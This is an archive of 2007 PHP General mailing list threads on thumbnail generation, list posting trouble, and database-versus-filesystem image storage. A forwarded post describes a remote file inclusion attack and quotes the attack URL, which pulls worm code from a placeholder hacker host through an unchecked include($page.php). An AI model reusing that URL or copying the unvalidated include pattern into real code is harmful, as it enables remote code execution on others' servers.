[PHP] problems with thumbnail image
hello,
I am a newbie trying to create on the fly thumbnail images on a debian sarge
system with PHP Version 4.3.9-1.
The following code is used
?
function thumbnail_img($photo_img_name)
{
$percent = 0.5;
list($width, $height) = getimagesize($photo_img_name);
$newwidth = $width * $percent;
$newheight = $height * $percent;
$thumb = imagecreatetruecolor($newwidth, $newheight);
$source = imagecreatefrompng($photo_img_name);
imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width,
$height);
return imagepng($thumb);
}
print 'HTML';
print 'HEAD';
print 'META HTTP-EQUIV=Pragma CONTENT=no-cache';
print 'TITLEImage/TITLE';
print '/HEAD';
print 'body';
//image file name
$photo_img_name='./photos/1.png';
//display original image
print 'IMG SRC='.$photo_img_name.' border=1';
//thumbnail image
print 'IMG SRC='.thumbnail_img($photo_img_name).' border=1';
print '/body';
print '/html';
?
The original image gets displayed correctly. But in place of the thumbnail
image i get loads of junk text data. I guess the hmtl tags are all in order
as the original image is perfectly displayed.
What have i missed. Any comments, help etc will be appreciated.
regards
Punit Neb
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PDF Overflow
On 02-28, Eddie Schnell wrote: I am writing a PHP file that outputs a PDF file that will have a bunch of data from the data base. After the ammount of data hits 24 pieces(23 with 0) i need it to go to a new page. I am using the PDFB Library which contains a custom barcode thing, FPDI+FPDF. PDFB's $pdf-AddPage(); looks like what you need? Kind regards, -- Holger Blasum +49-174-7313590 (cell) GnuPG 1024D/ACDFC3B769DC1ED66B47 signature.asc Description: Digital signature
Re: [PHP] problems with thumbnail image
2007. 03. 2, péntek keltezéssel 13.56-kor Punit Neb ezt írta:
hello,
I am a newbie trying to create on the fly thumbnail images on a debian sarge
system with PHP Version 4.3.9-1.
The following code is used
?
function thumbnail_img($photo_img_name)
{
$percent = 0.5;
list($width, $height) = getimagesize($photo_img_name);
$newwidth = $width * $percent;
$newheight = $height * $percent;
$thumb = imagecreatetruecolor($newwidth, $newheight);
$source = imagecreatefrompng($photo_img_name);
imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width,
$height);
return imagepng($thumb);
}
print 'HTML';
print 'HEAD';
print 'META HTTP-EQUIV=Pragma CONTENT=no-cache';
print 'TITLEImage/TITLE';
print '/HEAD';
print 'body';
//image file name
$photo_img_name='./photos/1.png';
//display original image
print 'IMG SRC='.$photo_img_name.' border=1';
//thumbnail image
print 'IMG SRC='.thumbnail_img($photo_img_name).' border=1';
print '/body';
print '/html';
?
The original image gets displayed correctly. But in place of the thumbnail
image i get loads of junk text data. I guess the hmtl tags are all in order
as the original image is perfectly displayed.
What have i missed. Any comments, help etc will be appreciated.
either create a filename for the thumbnail and add it to the imagepng()
call as second parameter and reference it in the thumbnail img tag
or put the thumbnail creation in a separate file, say thumbnail.php
then the img tag should be like
echo img src=\thumbnail.php?img= . $photo_img_name . \;
and the thumbnail.php should send out some content-type header e.g.
Content-Type: image/png and then call your function like
echo thumbnail_img($_GET['img']);
hope that helps
Zoltán Németh
regards
Punit Neb
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] rich html emailer
Hi, I have created a basic HTML emailer with PHP where the body is created and text is inserted via a text area. Now I would like to expand this so the client can put in live URL and mailto links. I can use htmlentities() to do this but I would also like a button that allow them to enter it through a dialog box. Is there a php/javascript class that can do this? R. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] rich html emailer
Hi, I have created a basic HTML emailer with PHP where the body is created and text is inserted via a text area. Now I would like to expand this so the client can put in live URL and mailto links. I can use htmlentities() to do this but I would also like a button that allow them to enter it through a dialog box. Is there a php/javascript class that can do this? Have a look at http://www.fckeditor.net/ Edward -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Fw: [PHP] Help! I cannot send e-mail to your mail groups
Hello Again, If I send e-mail to your group, I have an error message below. There aren't any network problems. I try to send mail different places but I get same error message. May be, you can restrict Turkish IP address blocks becuase I haven't see any message from Turkey recently in your mail lists. May be, you can restrict my mail address in your group. I'm writing a book about PHP and I love helping any people about PHP on the world. Can you help me in this issuse? What is the problem? and this problem has been for 2 weeks. 2 weeks ago, I could send mail your groups easily. I'm looking forward from hear you. Error Message: Outlook Express could not post your message. Subject 'Re: PHP and cron', Account: 'news.php.net', Server: 'news.php.net', Protocol: NNTP, Port: 119, Secure(SSL): No, Socket Error: 10051, Error Number: 0x800CCC0E - Original Message - From: Németh Zoltán [EMAIL PROTECTED] To: Haydar Tuna [EMAIL PROTECTED] Cc: php-general@lists.php.net Sent: Friday, March 02, 2007 12:19 PM Subject: Re: [PHP] Help! I cannot send e-mail to your mail groups 2007. 03. 2, péntek keltezéssel 09.57-kor Haydar Tuna ezt írta: Hello, I have been Linux user for 7 years and I have been membership of Linux Community group for 3 years in Turkey. As you know, linux users share all of experiences and knownledges and I'm writing a book about PHP. I'm a PHP professional for this reason I want to help any people on the world but I haven't send a message for two days. I got an abuse e-mail two times but there isn't any problem my mails that I have send your mail group. I want to send e-mail your mail group again, I want to help any people on the world again if possible. Can you help me? I'm looking forward here you. It seems to me you can send mail to the list, as I have received it ;) (or maybe I misunderstood your problem?) greets Zoltán Németh -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] problems with thumbnail image
On Friday 02 March 2007 15:48, Németh Zoltán wrote:
Many thanks Németh Zoltán for the prompt response.
2007. 03. 2, péntek keltezéssel 13.56-kor Punit Neb ezt írta:
hello,
I am a newbie trying to create on the fly thumbnail images on a debian
sarge system with PHP Version 4.3.9-1.
The following code is used
?
function thumbnail_img($photo_img_name)
{
$percent = 0.5;
list($width, $height) = getimagesize($photo_img_name);
$newwidth = $width * $percent;
$newheight = $height * $percent;
$thumb = imagecreatetruecolor($newwidth, $newheight);
$source = imagecreatefrompng($photo_img_name);
imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight,
$width, $height);
return imagepng($thumb);
}
print 'HTML';
print 'HEAD';
print 'META HTTP-EQUIV=Pragma CONTENT=no-cache';
print 'TITLEImage/TITLE';
print '/HEAD';
print 'body';
//image file name
$photo_img_name='./photos/1.png';
//display original image
print 'IMG SRC='.$photo_img_name.' border=1';
//thumbnail image
print 'IMG SRC='.thumbnail_img($photo_img_name).' border=1';
print '/body';
print '/html';
?
The original image gets displayed correctly. But in place of the
thumbnail image i get loads of junk text data. I guess the hmtl tags are
all in order as the original image is perfectly displayed.
What have i missed. Any comments, help etc will be appreciated.
either create a filename for the thumbnail and add it to the imagepng()
call as second parameter and reference it in the thumbnail img tag
or put the thumbnail creation in a separate file, say thumbnail.php
then the img tag should be like
echo img src=\thumbnail.php?img= . $photo_img_name . \;
I have used this method for generating the thumbnail images. I avoided
creating the thumbnails and saving to the disk as the images change very
frequently.
Thank you so much for helping me with this one:))
regards
Punit Neb
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
Re: Fw: [PHP] Help! I cannot send e-mail to your mail groups
2007. 03. 2, péntek keltezéssel 13.42-kor Haydar Tuna ezt írta: Hello Again, If I send e-mail to your group, I have an error message below. There aren't any network problems. I try to send mail different places but I get same error message. May be, you can restrict Turkish IP address blocks becuase I haven't see any message from Turkey recently in your mail lists. May be, you can restrict my mail address in your group. I'm writing a book about PHP and I love helping any people about PHP on the world. Can you help me in this issuse? What is the problem? and this problem has been for 2 weeks. 2 weeks ago, I could send mail your groups easily. I'm looking forward from hear you. Error Message: Outlook Express could not post your message. Subject 'Re: PHP and cron', Account: 'news.php.net', Server: 'news.php.net', Protocol: NNTP, Port: 119, Secure(SSL): No, Socket Error: 10051, Error Number: 0x800CCC0E hmm I must admit I don't know anything about using NNTP on news.php.net... I simply send all mails to php-general@lists.php.net (with SMTP) and no problem... I subscribed to the list at http://www.php.net/mailing-lists.php and sent back a confirmation email and that's all... greets Zoltán Németh - Original Message - From: Németh Zoltán [EMAIL PROTECTED] To: Haydar Tuna [EMAIL PROTECTED] Cc: php-general@lists.php.net Sent: Friday, March 02, 2007 12:19 PM Subject: Re: [PHP] Help! I cannot send e-mail to your mail groups 2007. 03. 2, péntek keltezéssel 09.57-kor Haydar Tuna ezt írta: Hello, I have been Linux user for 7 years and I have been membership of Linux Community group for 3 years in Turkey. As you know, linux users share all of experiences and knownledges and I'm writing a book about PHP. I'm a PHP professional for this reason I want to help any people on the world but I haven't send a message for two days. I got an abuse e-mail two times but there isn't any problem my mails that I have send your mail group. I want to send e-mail your mail group again, I want to help any people on the world again if possible. Can you help me? I'm looking forward here you. It seems to me you can send mail to the list, as I have received it ;) (or maybe I misunderstood your problem?) greets Zoltán Németh -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: how to display images stored in DB
On Thu, 2007-03-01 at 19:42 -0500, markw@mohawksoft.com wrote: On Thu, 2007-03-01 at 21:08 +0100, Roman Neuhauser wrote: # [EMAIL PROTECTED] / 2007-03-01 12:46:09 -0500: At 10:01 AM -0500 3/1/07, markw@mohawksoft.com wrote: In this discussion I have stated reasons why it is a bad idea. No one has come up with a counter point which can only be served by a database and thus proves me wrong. I think that says something. Contradiction is not a sign of falsity, nor the lack of contradiction a sign of truth. I think no comment says that discussing this issue has problems. For example, this has been subject of many flame wars before and I'm sure that many just don't care to join in. If you want to claim something absurd, then who are they to correct you? And why should they care? Exactly, ted. markw is so obviously right, and he's presented the points so well, there's nothing to add, really. but since you asked: yeah, he's right. I'm going to skip his response to my previous comments and just add the following to this post: To follow up with Ted, nobody said using the filesystem is bad, No, it is the most efficient way. Prove it! Don't just claim it. what many of us are saying is that the database is not necessarily bad either. To make this claim, you need a rational argument to support it. Faith Based engineering is a por substitute. It really depends on what you're doing and how you choose to address the problem with all of your knowledge. Assuming your knowledge never expands when confronted with a problem which requires learning more. Many of us here are quite aware of the different technologies available to access shared binary data across some kind of network etc. But, given time constraints, budget constraints, and all manner of personal preference and training and ingenuity, we CHOOSE to use one solution over the other for any given problem space. The good enough fallacy. So far Mark has almost entirely focused on the performance and filesystems were made to do that argument... Um, yea. Who the hell cares??! Ahh, famous last words. You only need to get bitten once and you will change your tune very quickly. Oh, those aren't my last words, and I'm hardly famous. And why would I change my tune quickly? And wouldn't that depend on what bites me? I haven't heard anything from you yet that suggests you are right and I am wrong. I've heard anecdotal arguments in favour of the filesystem for some cases, but nothing that proves it is the flat out winner in all situations. If people stopped trying to use old ideas to solve novel problems then innovation and ingenuity would go out the window... I would argue that if people fail to research and devise better solutons, then innovation doesn't happen. Many new ideas come from people not versed in previous solutions. This happens because they don't get stuck in the mindset taught to them by the establishment. I think you're a bit stuck in a rut with horse blinders covering your face... nowhere to go but filesystem because you're to closed minded to appreciate novel solutions using databases *smirk*. Personally, I can appreciate both solutions. And I'll just reiterate, nobody is arguing databases are always better. But they are sometimes. and if that happens, then nothing advances, nothing is doscovered, we live a life of boring old filesystems that just do files. So, files are bad? No, but they may not be the best solution. Who knows, humans are a very young species and our knowledge has only begun. Why CAN'T a database be used as a filesystem? Because it is not well suited for the task for which you are trying to use it. Just because something isn't generally well suited doesn't mean it can't be used. You seem to think that everyone needs to follow your way. Wrong, we'll follow whichever way we think is better given our own experience. Mark said himself that filesystems pretty much are databases.. I said nothing of the sort. I forget the exact words, but yes there are conceptual similarities, but that's the limit of what I have said. And I quote: Rob said: In fact many newer bleeding edge filesystems are practically database implementations. Mark said: Not even bleeding edge. Think of the UNIX file systems, many use file names merely as indexes to inodes which point to files. Very database-esque. database-esque -- straight from the horses mouth :B why limit them to just doing what they do now? Why can't they do more? Because a database *is* designed to do more than a filesystem. Databases have a LOT of features and requirements that file systems do not have and things like bitmap binary objects don't need. They are fundamentally different things. Why can't they become more like fully fledged queryable databases? See above. What precisely
RE: [PHP] Re: how to display images stored in DB
I highly recommend a dark ale or two to bring down the core temperature :) Amen! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: how to display images stored in DB
At 5:24 PM -0600 3/1/07, Richard Lynch wrote: On Wed, February 28, 2007 6:41 pm, Robert Cummings wrote: What about when you need to share those files across a 50 node network? I'd keep it in a database, then when I need it cache a local copy on the filesystem. Then I can just check the timestamp in the database to see if the file has changed. Voila, multi-node high availability images. Seems better than have a local copy of every single image. I guess the answer is... it depends on what you're doing! Add an image server (or 20) and change the HTML to point to the image server. Use rsync on the 20 image client servers from the master image server. Lots of ways to skin this cat. But the cat ain't going to like any of them. tedd -- --- http://sperling.com http://ancientstones.com http://earthstones.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Help! I cannot send e-mail to your mail groups
:) -- Haydar TUNA Republic Of Turkey - Ministry of National Education Education Technology Department Ankara / TURKEY Web: http://www.haydartuna.net Haydar Tuna [EMAIL PROTECTED] wrote in message news:[EMAIL PROTECTED] Hello Again, If I send e-mail to your group, I have an error message below. There aren't any network problems. I try to send mail different places but I get same error message. May be, you can restrict Turkish IP address blocks becuase I haven't see any message from Turkey recently in your mail lists. May be, you can restrict my mail address in your group. I'm writing a book about PHP and I love helping any people about PHP on the world. Can you help me in this issuse? What is the problem? and this problem has been for 2 weeks. 2 weeks ago, I could send mail your groups easily. I'm looking forward from hear you. Error Message: Outlook Express could not post your message. Subject 'Re: PHP and cron', Account: 'news.php.net', Server: 'news.php.net', Protocol: NNTP, Port: 119, Secure(SSL): No, Socket Error: 10051, Error Number: 0x800CCC0E - Original Message - From: Németh Zoltán [EMAIL PROTECTED] To: Haydar Tuna [EMAIL PROTECTED] Cc: php-general@lists.php.net Sent: Friday, March 02, 2007 12:19 PM Subject: Re: [PHP] Help! I cannot send e-mail to your mail groups 2007. 03. 2, péntek keltezéssel 09.57-kor Haydar Tuna ezt írta: Hello, I have been Linux user for 7 years and I have been membership of Linux Community group for 3 years in Turkey. As you know, linux users share all of experiences and knownledges and I'm writing a book about PHP. I'm a PHP professional for this reason I want to help any people on the world but I haven't send a message for two days. I got an abuse e-mail two times but there isn't any problem my mails that I have send your mail group. I want to send e-mail your mail group again, I want to help any people on the world again if possible. Can you help me? I'm looking forward here you. It seems to me you can send mail to the list, as I have received it ;) (or maybe I misunderstood your problem?) greets Zoltán Németh -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Re: how to display images stored in DB
I highly recommend a dark ale or two to bring down the core temperature :) A good Zinfendel, sit back and relax. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: how to display images stored in DB
On Fri, 2007-03-02 at 11:01 -0500, markw@mohawksoft.com wrote: I'm going to mostly skip your drivel... and cut straight to a short comment and an example proving the invalidity of your general argument that the filesystem is always a better place to store image content. There we go... you only think you are right. Thanks for clearing that up. When you have proof of being right I'll start taking notes. At this time I'd like to bring into play a line originally introduced to me by Mr. Tedd Sperling: Locus ab auctoritate est infirmissimus. Thanks tedd, I like that line. When you have something substantial to back up your claim, maybe proof as opposed to argument, I'll be all ears. Your education, your immersion in the field, even your hands on experience do not make you right. They increase the likelihood that you know your subject matter, but in absence of tangible evidence they are only theories. I have posted a good number of reasons why the position presented is correct. You have posted zero refutations to the reasons. It may not be irrefutable in your eyes, but funny how they have not been refuted. You have posted a good number of reasons why it is sometimes better, even more often than not better, you have not posted a single reason the indicates why it is ALWAYS better. Why'd you skip the second half of my post where I gave contradictory examples? Let me spell another out for you, I'll even do it in your language: User requests a page that requires the assimilation of N icons into a single larger image as uploaded previous by the user of the current session (n can be any number of uploaded icons -- all icons just so happen to fall under 2k in size): Database Storage: Get http request parse request check permissions init PHP request check session validity create sql request parse query execute query open file (if table not currently open) lock file for read grab N items of data based on user ID index field return data (local socket connection) unlock read lock format return data (in memory) create aggregate image based on image dims (in table fields) for i = 1 to n copy sub-image into aggregate image endloop set headers for browser send data Filesystem: Get http request parse request check permissions init PHP request check session validity open directory for user ID image path (not sure but I think you need a read lock) read directory (maybe release lock) close directory for i = 1 to n open image file (not sure but I think you need a read lock) read in image content (maybe release lock) close image file temporarily store image content endloop create aggregate image based on image dims for i = 1 to n copy sub-image into aggregate image endloop set headers for browser send data Now which one did you say was faster? Which did you say was more convenient? Which is more understandable by future developers? Which is more scalable 00 maybe my images aren't on just this one server maybe they're on 10 servers? By the way, maybe I also want descriptions for each image imported as part of the aggregated image. So I need to do a query for those anyways, or maybe you'd use files for that too -- after all don't files store data? Anyways, you are plainly wrong in the general case of filesystems being better than databases. They may be better often, but not always. Understandably you will argue against this with some artificial argument such as it's an artifical example, but really, who cares? You said never, so artificial examples count. You'll probably still argue (that's your closed mind getting in the way again), but I'll probably just ignore you now since I don't think you have anything to add that you haven't already stated, and you still haven't been able to prove the argument in general. I'll tell you what, I'll give you one last chance to prove it. Take the above example, implement your filesystem method for 1 icons and I'll do the same using a database. Then we'll benchmark them. And yes, I do want associated descriptions embedded in the aggregate image. If you are so right, then this should be trivial. Cheers, Rob. -- .. | InterJinn Application Framework - http://www.interjinn.com | :: | An application and templating framework for PHP. Boasting | | a powerful, scalable system for accessing system services | | such as forms, properties, sessions, and caches. InterJinn | | also provides an extremely flexible architecture for | | creating
Re: [PHP] Re: how to display images stored in DB*
At 10:01 AM -0500 3/1/07, markw@mohawksoft.com wrote: If you are open to honestly consider, then I shall provide a couple of examples. But if I do and you do not agree, then your only recourse will be to *prove* otherwise. So, what say you? Absolutely, I'm all about computer science. Give me some real world examples and I'll show you the flaws. -snip- What do *you* say? Mark: Well... it's not just me, but from what I've learned and read over the years. Your claim is that in ALL cases using a file system to store images is preferable to using a database. As such, you claim that using a dB for storing images is bad practice. My claim is that both methods have their advantages and disadvantages, as I said in my opening post on this thread Both techniques have up-sides and down-sides -- and I use both depending upon needs. Part of the problem here is that we are using subjective terms such as bad practice and preferable methodologies. So a bit of objectivity is in order. Such terms can be viewed from different perspectives, such as time taken, cost in equipment, ease of use, and many other such concerns. However, I realize that what's preferable and bad practice for you may differ for me and therein provides an opportunity for you to pass on *proving* that none of the following fits within in your considerations and restrictions. But, that's Okay -- you can keep your opinion. I am only offering what I believe to be relevant because you said you would honestly consider it. The following are the things I consider important for this discussion: Consideration 1 Storing images in a database bloats the database and you're more likely to approach memory limits of your operating system. However, storing images the file system, likewise may cause lookups to become slower on some operating systems than using a dB (Granted this is a weak consideration, but I read it, so it must be true.) :-) Consideration 2 If your project is to supply images across several web servers on different host, then you are caught in a sync problem. Images stored in a file system must be stored on a local host. In a multiple host situation you must have a duplicate set of images on each host. Synchronizing images across different files systems on different host is far more complicated and problematic than maintaining a single database from which all host can draw the most current images. Consideration 3 Storing images images in a file system and their location in a database is a two step process in all image operations. If your project requires a transactions, then it's obviously more difficult to accomplish for not only do you have to do two operations, but they must take place in two domains. Whereas, if you store images in a database it is a simple matter to add, alter, and delete because it's one operation and thus no need to confirm that the file system and database remain in sync. Consideration 4 Even without transactions, it's simpler to have all data in a single dB than it is two divide the data into two sets and then maintain a sync. Consideration 5 Backups. It is far easier, faster, more reliable, and less prone to error to perform a single mysql dump of all images than it is to preform a mysql dump of all image locations AND duplicate all image files. I even had a client who demanded that his image files be localized in such a manner. That's a real world example, where's the flaw in providing what the customer wants? Consideration 6 While this should be avoided through good coding practice, but if you screw-up a path, things can get chaotic real fast. Hard coding partial paths in your code and pulling the rest of the path out of the dB is prone to more error than just accessing the image directly from the database. Granted, coders should be aware that all of the path should be taken from the dB and not hard code any path information, but that practice isn't always followed. Unfortunately, we don't always work with just our code and preferences. Consideration 7 The future -- while programming styles and types differ, the trend is toward encapsulating (i.e., keeping all data, methods and functions together within an organization and hidden). From OOP to unobtrusive code, clearly this is the direction of today. My personal preference is to keep all my relative data together as well. If my data, along with other attributes, incorporates images then, I like the idea (but, don't always practice it myself) of having everything in one place and storing images along with other associated data in a database makes sense to me. To me, images are nothing more than large hunks of data. Why tell fat people to sit somewhere else? I certainly can understand and realize that images, because of their size (and size alone), can be problematic with respect to time and memory, however, both of those physical restraints are becoming less of a
Re: [PHP] Re: how to display images stored in DB
Not in my environment. All db servers have RAID 10 over 8 SCSI 15K disks. Pulling from them is always faster than a webserver pulling from its SATA drive. That's not exactly an apples to apples comparison. That is true, and sort of the point. However, the whole thing started because someone was asking a trivial question. The assumption there is that they are on a hosted environment, likely with the the web server and the database on the same server. Chances are the filesystem will be a better bet for them for speed. But on such a system, the speed difference may not be much of a concern. Where I am, I am forced to think about different things, so my viewpoint may be improperly colored. Its completely random that I'm posting to this list at all... Also, there is issue of going to the database and going to the filesystem. Timing wise, you Please explain. I'm making assumptions about the layout again. The database will likely already have the table files opened, but will need a seek to get the data. The webserver will have to do an additional seek (I was assuming on a far slower drive system, and likely twice for stat and read). Putting the files in the DB doesn't always remove extra cleanup/management stuff. Sometimes the database stores binary objects as files and sometimes they don't get deleted correctly. I'm dying to know what database you are using that puts every blob in a separate file these days. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] best framework (pear vs zend framework)
There is PRADO. On 3/1/07, Larry Garfield [EMAIL PROTECTED] wrote: On Thursday 01 March 2007 3:17 am, Edward Kay wrote: Personally, I like Qcodo (http://www.qcodo.com) - but only because it fits with both my mindset and the applications I'm developing at the moment. Edward I looked into QCodo recently when considering it for a project. It looks like it would be really good for certain types of applications, specifically the full-blown Web 2.0 everything-is-one-form type apps like GMail, Basecamp, RoundCube, etc. For more traditional Web 1.5-ish apps, it doesn't seem like it is flexible enough with the one-form-per-page limitation. That is my opinion from not actually building anything with it yet, at least. :-) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Combining sound files
At 5:28 PM -0600 2/27/07, Richard Lynch wrote: You may find it easier/faster to just locate a .wav splicer command line tool and run exec with it. Though perhaps not nearly as fun, depending on your definition of fun. Richard: Nah, it's easier to bit twiddle the sound files and I found an easy way to combine them. It's funny what a few bytes of data can do. :-) What's ya think of this -- does it work for you? http://sperling.com/examples/captcha/ Cheers, tedd -- --- http://sperling.com http://ancientstones.com http://earthstones.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: how to display images stored in DB*
snip... For the record, I will *never* say one size fits all in the realm of computer programming... Consideration 2 If your project is to supply images across several web servers on different host, then you are caught in a sync problem. Images stored in a file system must be stored on a local host. In a multiple host situation you must have a duplicate set of images on each host. Synchronizing images across different files systems on different host is far more complicated and problematic than maintaining a single database from which all host can draw the most current images. What does the DB approach offer that a centralized image server could not? Still making network requests for some resource (in this case an image) Consideration 3 Storing images images in a file system and their location in a database is a two step process in all image operations. If your project requires a transactions, then it's obviously more difficult to accomplish for not only do you have to do two operations, but they must take place in two domains. Whereas, if you store images in a database it is a simple matter to add, alter, and delete because it's one operation and thus no need to confirm that the file system and database remain in sync. Very true, transactions and rollback capabilities would keep things in sync. Consideration 5 Backups. It is far easier, faster, more reliable, and less prone to error to perform a single mysql dump of all images than it is to preform a mysql dump of all image locations AND duplicate all image files. I even had a client who demanded that his image files be localized in such a manner. That's a real world example, where's the flaw in providing what the customer wants? Again, thinking of a RAID Array for a centralized image server, with potentially N hot standbys doing occasional rsyncs. So, this consideration is not quite as strong as others... And we all know customers can be idiots, so drawing conclusions on what they deem important is not a strong consideration either. Consideration 6 While this should be avoided through good coding practice, but if you screw-up a path, things can get chaotic real fast. Hard coding partial paths in your code and pulling the rest of the path out of the dB is prone to more error than just accessing the image directly from the database. Granted, coders should be aware that all of the path should be taken from the dB and not hard code any path information, but that practice isn't always followed. Unfortunately, we don't always work with just our code and preferences. Hmm... coder stupidity...can happen with any system you implement. So it's a draw on this one. Consideration 7 The future -- while programming styles and types differ, the trend is toward encapsulating (i.e., keeping all data, methods and functions together within an organization and hidden). From OOP to unobtrusive code, clearly this is the direction of today. Yeah, the future... I guess memory is getting cheaper every day. But there is still a capacity for a given machine. So, how easy would it be to scale DB servers across multiple machines as opposed to having a centralized DB server pointing to image locations potentially serviced by N image servers? It is without doubt, in my mind, that the ease that dB's offer in localizing data will prevail over distributive methodologies which are primarily based upon time and money concerns -- for time and money are lessening concerns. Yep, but how many companies do you know of *today* that would scrap $5 million in computers to upgrade them all at a cost $x as opposed to just spending another $25K to expand their current base? So as long as the best bang for the buck today line of thinking holds...distributed systems will remain dominant, especially in the area of data storage. Overall this has been a cool and interesting thread. For the most part, I would say I side with Mark, but again the fatal flaw appears to be the insistence that one approach is right in 100% of the time...which 99% of the time is false. -B -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] RE: [PHP-WIN] Re: Question on virus/worms
Turn off all error reporting (in php.ini) so that the error isn't pushed to the screen. -Original Message- From: Seak, Teng-Fong [mailto:[EMAIL PROTECTED] Sent: Friday, March 02, 2007 12:16 PM To: php-windows@lists.php.net; php-general@lists.php.net Subject: [PHP-WIN] Re: Question on virus/worms Robert Cummings wrote: Did you bother to google any of them? I just punched PHP/BackDoor.gen into Google and got a wealth of information. Yes, of course! But what I can see there aren't far from useless (cf what I write below). Stut wrote: Seak, Teng-Fong wrote: PHP/Chaploit http://vil.nai.com/vil/content/v_129568.htm [snipped] I know these already. The server is using McAfee. So I'm quite familiar with VIL of McAfee. But informations given by these pages aren't enough to let me know what to do and how those virus/worms got to get inside. Do they mean anything to anyone of you? Do you know how they've got inside the computer? Is there anything to do to prevent that? Are they known PHP virus/worms to PHP community? Most likely means of them getting onto your machine is poorly written scripts, over-reliance on scripts downloaded from the web and poor server security. Hope that helps. No, not really :-( But after I've spent some time reading the log files, I've finally found out how the hackers managed to achieve worm infiltration. Actually, they're using an URL like this: http://my-domain.com/index.php?page=http://hacker-domain.com/some-worm-f ile.txt? And the some-worm-file.txt file contains some PHP code, while my index.php contains this instruction: include($page.php); This is enough to make infiltration possible! IMO, this instruction is supposed to be used like this, isn't it? So this is obviously a PHP security loophole and I don't see how the poorly written scripts can help anything unless a totally rewrite! And there's no poor server security that I can see. I've installed PHP5 and the problem seems fixed. However, PHP writes out where the problem occurs! Indeed, the hacker could read a line like this: Warning: include() [function.include]: URL file-access is disabled in the server configuration in C:\Inetpub\wwwroot\index.php on line X I don't want them (the hackers) to be able to read this either. That gives too much information about my server's file system. How can I stop that? By the way, I know there're still a lot of servers out there still using PHP4. Is this vulnerability a known bug? At least, I'm not aware of that before! Regards, Seak -- * Zoner PhotoStudio 8 - Your Photos perfect, shared, organised! www.zoner.com/zps You can download your free version. -- PHP Windows Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: how to display images stored in DB
At 10:28 AM -0800 3/2/07, steve wrote: Putting the files in the DB doesn't always remove extra cleanup/management stuff. Sometimes the database stores binary objects as files and sometimes they don't get deleted correctly. I'm dying to know what database you are using that puts every blob in a separate file these days. People often look at 0's and 1's differently depending upon how they got there. There are some valid reasons to look at architecture, but it's still just 1's and 0's. But, all dB's basically use a read/write system that mimics the file system in some fashion -- so at some level the two are undistinguished. Cheers, tedd -- --- http://sperling.com http://ancientstones.com http://earthstones.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: how to display images stored in DB*
On Fri, 2007-03-02 at 13:49 -0500, Brad Bonkoski wrote: Overall this has been a cool and interesting thread. For the most part, I would say I side with Mark, but again the fatal flaw appears to be the insistence that one approach is right in 100% of the time...which 99% of the time is false. This is exactly the crux of my objection to Mark's posts. Not that the filesystem isn't usually a superior choice, but his claim that it is always the superior choice :/ Cheers, Rob. -- .. | InterJinn Application Framework - http://www.interjinn.com | :: | An application and templating framework for PHP. Boasting | | a powerful, scalable system for accessing system services | | such as forms, properties, sessions, and caches. InterJinn | | also provides an extremely flexible architecture for | | creating re-usable components quickly and easily. | `' -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: how to display images stored in DB
On Thursday 01 March 2007 22:24, Richard Lynch wrote: I have reflected upon this thread for awhile now. I believe that the only new thing I have to add is for newbies. I believe that for a newbie, it would be easier to use the filesystem rather than the DB. THAT on the other hand is BS! not to jerk around with you, but no and HELL no. Storing in the database was the easy way out, I started using the filesystem cuz of both a limitation in a forum AND a few mails from you. But easier... NO. True, you then have to do some extra cleanup/management work for deleted records, so that the related images go away. This is just deleting records... a record with a blob is just as easy/hard with/without a blob. But storing them in the DB invariably ends up with too many issues involving DB storage size and query buffer size, compounded by data escaping/security issues. This on the other hand... I'm a newbie, whatever your saying, BUT and it is a big one; The data has to be escaped anyway, the binary object has to be checked for security breaches with or without the database, so this is reason is by all means wrongly put. None of these are easy for a newbie to solve, and all too often, due to environmental limitations (read: shared hosting) it is impossible to fix the query buffer size limitation. If you know what you are doing, and have thought out the pros and cons, by all means, go ahead and put your images into the DB. If you have no idea what to do, choose the file system to get started, and then do more research when you have spare time. -- Some people have a gift link here. Know what I want? I want you to buy a CD from some starving artist. http://cdbaby.com/browse/from/lynch Yeah, I get a buck. So? -- --- Børge Kennel Arivene http://www.arivene.net --- -- PHP General 